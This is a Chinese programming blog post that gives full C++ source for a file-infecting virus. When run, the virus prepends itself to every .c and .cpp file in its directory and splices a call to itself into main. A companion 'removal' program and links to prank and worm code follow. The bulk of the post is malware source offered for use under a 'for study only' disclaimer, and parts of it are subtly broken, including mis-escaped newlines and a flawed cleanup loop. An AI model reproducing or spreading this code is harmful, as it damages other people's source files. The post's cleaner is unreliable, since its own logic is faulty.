一段简单的C/C++病毒源程序

史上最全c++恶搞代码,总结11个病毒程序 阅读详情
主要是感染C/C++源文件只要编译该段源程序就会使当前目录里的所有.c和.cpp文件感染上病毒,当然如果是没有主函数的源文件就没有作用:思想很简单:插入一段复制自身的代码,而这段代码是将自身的病毒部分传播给同目录下的其它文件。
程序清单:
1.病毒文件
//START
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,东北大学秦皇岛分校2009年6月1日
void vir()
{
string CurFileName = __FILE__;//绝对路径
string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码

int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度

//病毒函数调用应当插在"main("后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;

//提取待传播的当前文件中的病毒代码
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
   if(VirusCode[CodeLen] == "//END")
   {
    CodeLen++;
    break;
   }
}
VirusFile.close();
//依次感染宿主文件
while (true)
{
   //不能感染当前.cpp文件和已感染的文件
   if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   {
    cout<<FindFileData.cFileName<<":是感染源!/n";
   }
   else//感染其它文件
   {
    //加载宿主文件
    ifstream ibe(FindFileData.cFileName);
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if (FileCode[FileLen].find("main") != -1)
     {
      InsertLoc = FileLen;
     }
    }
    ibe.close();
    if(FileCode[0] == "//START")//该文件已被感染
    {
     cout<<FindFileData.cFileName<<":已携带了病毒!/n";
    }
    else if (FileLen > 500)
    {
     cout<<FindFileData.cFileName<<":文件太大了!/n";
    }
    else
    {
     //打开宿主文件
     ofstream be(FindFileData.cFileName);
     //插入病毒代码
     for(int i = 0;i < CodeLen;i++)
     {
      be<<VirusCode[i]<<endl;
     }
     //病毒函数调用位置前文本插入
     for(int i = 0;i < InsertLoc;i++)
     {
      be<<FileCode[i]<<endl;
     }
     //插入函数调用vir()
     for(int i = InsertLoc;i < FileLen;i++)
     {
      int j = FileCode[i].find('{');
      if(j != -1)
      {
       FileCode[i].insert(j + 1,"/nvir();");
       break;
      }
     }
     //病毒函数调用位置后插入剩余文本
     for(int i = InsertLoc;i < FileLen;i++)
     {
      be<<FileCode[i]<<endl;
     }
     be.close();
     cout<<FindFileData.cFileName<<":感染成功!/n";
    }
   }
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
//END
int main()
{
vir();
return 0;
}
杀毒程序:
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,东北大学秦皇岛分校2009年6月1日
void revir()
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);

string FileCode[500];

//病毒函数调用应当插在"main"后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
//依次清除宿主文件 
while (true)
{
   //加载文件
   int FileLen = 0; //宿主代码长度
   int MainLoc = 0; //主函数位置
  
   ifstream ibe(FindFileData.cFileName);
   getline(ibe,FileCode[0]);
  
   if(FileCode[0] == "//START")//当前文件被感染过
   {
    //病毒代码要过虑掉
    for(FileLen = 0;getline(ibe,FileCode[0]);)
    {
     if(FileCode[FileLen] == "//END")
     {
      break;
     }
    }
    //宿主未感染前的代码
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if(FileCode[FileLen].find("main") != -1)
     {
      MainLoc = FileLen;
     }
    }
   
    //清除主文件中的函数调用
    for (int i = MainLoc;i < FileLen;i++)
    {
     if(FileCode[i].find('{') != -1)
     {
      FileCode[i + 1] = "";
      break;
     }
    }
    ibe.close();
   
    ofstream be(FindFileData.cFileName);
    for(int i = 0;i < FileLen;i++)
    {
     be<<FileCode[i]<<endl;
    }
    be.close();
    cout<<FindFileData.cFileName<<":病毒清除成功/n";
   }
   cout<<FindFileData.cFileName<<":没有被感染!/n";
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
int main()
{
revir();
return 0;
}
病毒制作C++(含源码)No.1 病毒 阅读详情

相关推荐

C++病毒小程序

**一段简单的C/C++病毒源程序 ** 主要是感染C/C++源文件只要编译该段源程序就会使当前目录里的所有.c和.cpp文件感染上病毒,当然如果是没有主函数的源文件就没有作用:思想很简单:插入一段复制自身的代码,而这段代码是将自身的病毒部分传播给同目录下的其它文件。 程序清单: 1.病毒文件 //START #include <windows.h> #include <fstr...

Ampty36的博客 1784

C++——超强级病毒代码(坑人必备)

坑人坑到极致,就成了病毒……本程序造成的后果作者概不负责!!

小天狼星_布莱克 的博客 1万+

感染c/c++源程序病毒

#include #include #include #include main(){      int virus(void);      virus();               /*病毒函数*/}int virus(void){      struct ffblk ffblk;      FILE *fp,*fp2,*fp3,*fp4;      int i,j,len,q,r,do

chy2z的专栏 1430

制作一个后缀名为.vbs的病毒代码

建议使用虚拟机(可以使用VMware Workstation Pro,可以参照 那年遇见了你 的发布的文章),否则你的计算机将会就地报废,使用时要关闭电脑病毒保护,如果使用的时候没有关,恭喜您的程序系统自带的病毒保护系统会被“就地枪决”)蠕虫是一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机。蠕虫使用这种递归的方法进行传播,按照指数增长的规律分布自己,进而及时控制越来越多的计算机。废话不多说,上代码!

Hxwhi的博客 1963

C++整蛊代码

C++4个整蛊代码

WTC20120518的博客 3834

【详解】Java语言的特点以及Java语言与C/C++的比较

文章目录一、Java语言的特点1.跨平台性/可移植性2.面向对象3.简单性4.分布性5.健壮性6.安全性7.解释型8.多线程二、Java与C/C++的区别1.指针2.多重继承3.数据类型及类4.自动内存管理5.操作符重载6.预处理能力7.Java语言不支持全局变量和函数8.字符串9.goto语句10.类型转换 一、Java语言的特点 1.跨平台性/可移植性 跨平台性也即平台无关性,指软件的运行不因操作系统、处理器的变化而导致程序无法运行或出现运行错误。 以C++为例,当运行一段C++代码时,C++编译器首

二十四日的博客 2941

2018c语言二级选择题题库,计算机二级office题库选择题及答案

随着计算机应用的深入,特别是家用计算机越来越普及,一方面希望众多用户能共享信息资源,另一方面也希望各计算机之间能互相传递信息进行通信。yjbys小编收藏一些计算机二级office题库,欢迎大家参考!1). 若对音频信号以10kHz采样率、16位量化精度进行数字化,则每分钟的双声道数字化声音信号产生的数据量约为( )。A.1.2MBB.1.6MBC.2.4MBD.4.8MB正确答案:C答案解析:声音...

weixin_35736086的博客 449

VxD编程入门教程

一、Windows 95 DDK的安装        安装Windows 95 DDK一般需要先安装Win32 SDK,原因是Windows 95 DDK 需要Win32 SDK的16位资源编译器,但是Win32 SDK很大(一整张光盘 的容量),而且国内难以买到,ftp站上也较少见,即使有,下载也很困难。 笔者经过一段时间的摸索,找到了安装Windows 95 DDK的几种简单方法, 现将方

tianfeng的专栏 1507

学习---计算机语言的发展简单总结

第一代语言 机器语言 计算机的基本计算方式都是基于二进制 二进制有0与1构成,逢二进一 计算机直接识别,不需要任何转换 为了解决机器语言人们无法读懂的和难以识别的问题,下面出现第二代语言 第二代语言 汇编语言 解决人们无法读懂机器语言 指令代替二进制 应用于: 逆向工程 机器人 病毒 。。。。。。 assume cs:codesg codesg segment mov ax,0123h mov bx,0456h add ax,bx

qq_38398245的博客 270

【C语言基础】第01章_C语言入门

1969年,美国贝尔实验室的肯·汤普森(Ken Thompson)与丹尼斯·里奇(Dennis Ritchie)一起开发了Unix 操作系统。Unix 是用 汇编语言 写的,依赖于计算机硬件。为了程序的 可读性 和 可移植性 ,他们决定使用高级语言重写。但是,当时的高级语言无法满足他们的要求,汤普森就在 BCPL 语言的基础上发明了 B 语言 。

guye 569

C语言知识体系梳理讲义(二)

C语言知识体系梳理讲义(二)《C和指针》上的例子计算机编译过程预处理编译汇编链接继续例子函数原型形参与实参数组参数与指针参数最后的细碎知识点。(附件)Google代码规范(附件)C语言知识梳理 这里引用了《深入理解计算机系统》、《C和指针》、《大话设计模式》等书 第一章在C语言知识体系梳理讲义(一) 《C和指针》上的例子 下面我们来讲一个小例子。其实这个例子我找了好久,最后我选出来了一个比较合适的是来自《C和指针》里面开篇的例子。这篇例子被我放到了CSDN中大家可以运行试试。我们要分析的例子是从标准输入中读

ranyi000的博客 332

关于9行代码导致系统崩溃的分析整理

//http://zhidao.baidu.com/question/1945660.html目前很多地方都转载着利用9行代码史windows崩溃的文章,不过我发现没有关于为什么会使windows崩溃的分析。我先把原文给大家看看。然后把具体的细节说一下。 微软一直声称Windows XP多么多么稳定可靠,但日前一位名为Masaru Tsuchiyama的外国编程爱好者刊出了一小段C语言代码。这一只有9行的小程序如果在Windows XP/2000下运行,则可导致系统完全崩溃,并重新启动。但此程序对其他

Open9i的专栏 1349

计算机二级知识普及挑战赛答案,2018年计算机二级office题库选择题及答案

随着计算机应用的深入,特别是家用计算机越来越普及,一方面希望众多用户能共享信息资源,另一方面也希望各计算机之间能互相传递信息进行通信。yjbys小编收藏一些计算机二级office题库,欢迎大家参考!1***. 若对音频信号以10kHz采样率、16位量化精度进行数字化,则每分钟的双声道数字化声音信号产生的数据量约为*** ***。A.1.2MBB.1.6MBC.2.4MBD.4.8MB正确答案:C答...

weixin_32026659的博客 991

对微机用户来说 为了防止计算机意外,2017计算机二级MSoffice测试题(附答案)...

2017计算机二级MSoffice测试题(附答案)全国计算机二级MSoffice考试,相对于其他的科目来说是比较容易的,下面是小编整理的计算机二级MSoffice测试题,希望对大家的复习有所帮助!1、CD-ROM光盘______。A、只能读不能写B、能读能写C、只能写不能读D、不能读不能写答案:(A)评析:ROM的意思是只能读出而不能随意写入信息的存储器,所以CD-ROM光盘就是只读光盘。目前使用...

weixin_42449422的博客 483

第56次全国计算机二级,全国第56次计算机二级MSOffice试题

当你的计算机知识还撑不起你的学习、工作时,那你就应该静下心来刷计算机等级考试题库-二级MS Office试题。1、CD-ROM光盘______。A、只能读不能写B、能读能写C、只能写不能读D、不能读不能写答案:(A)解析:ROM的意思是只能读出而不能随意写入信息的存储器,所以CD-ROM光盘就是只读光盘。目前使用的光盘分为3类:只读光盘(CD-ROM)、一次写入光盘(WORM)和可擦写型光盘(MO...

weixin_39615808的博客 221

3.Linux基础开发⼯具【由浅入深-Linux】

在 Windows 环境中,我们习惯了双击 或 文件并一路点击“下一步”来安装软件。但在 Linux 的世界里,软件的分发和安装理念有着本质的不同。Linux 强调权限控制、模块化和依赖管理。为了帮您构建完整的 Linux 系统管理知识体系,我们可以将 Linux 下安装软件的方式归纳为五大主流阵营。这是 Linux 下最正统、也是日常使用频率最高的方式。它又细分为“在线仓库安装”和“本地包安装”两种场景。1. 在线仓库安装(如同手机自带的 App Store) 操作系统维护着一个庞大的软件云端仓库。通

插花弄玉的博客 436

VxD编程入门教程(驱动开发)

原文出处:http://www.vckbase.com/document/viewdoc/?id=227 一、Windows 95 DDK的安装   安装Windows 95 DDK一般需要先安装Win32 SDK,原因是Windows 95 DDK需要Win32 SDK的16位资源编译器,但是Win32 SDK很大(一整张光盘的容量),而且国内难以买到,ftp站上也较少见,即使有,下载也很...

wujianjun8829的专栏 861
上一篇: 共享一个获取本地信息IP,MAC的头文件及其实现方法(更新)
下一篇: 冒泡排序
mycaibo
博客等级 码龄20年 32粉丝 41原创
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值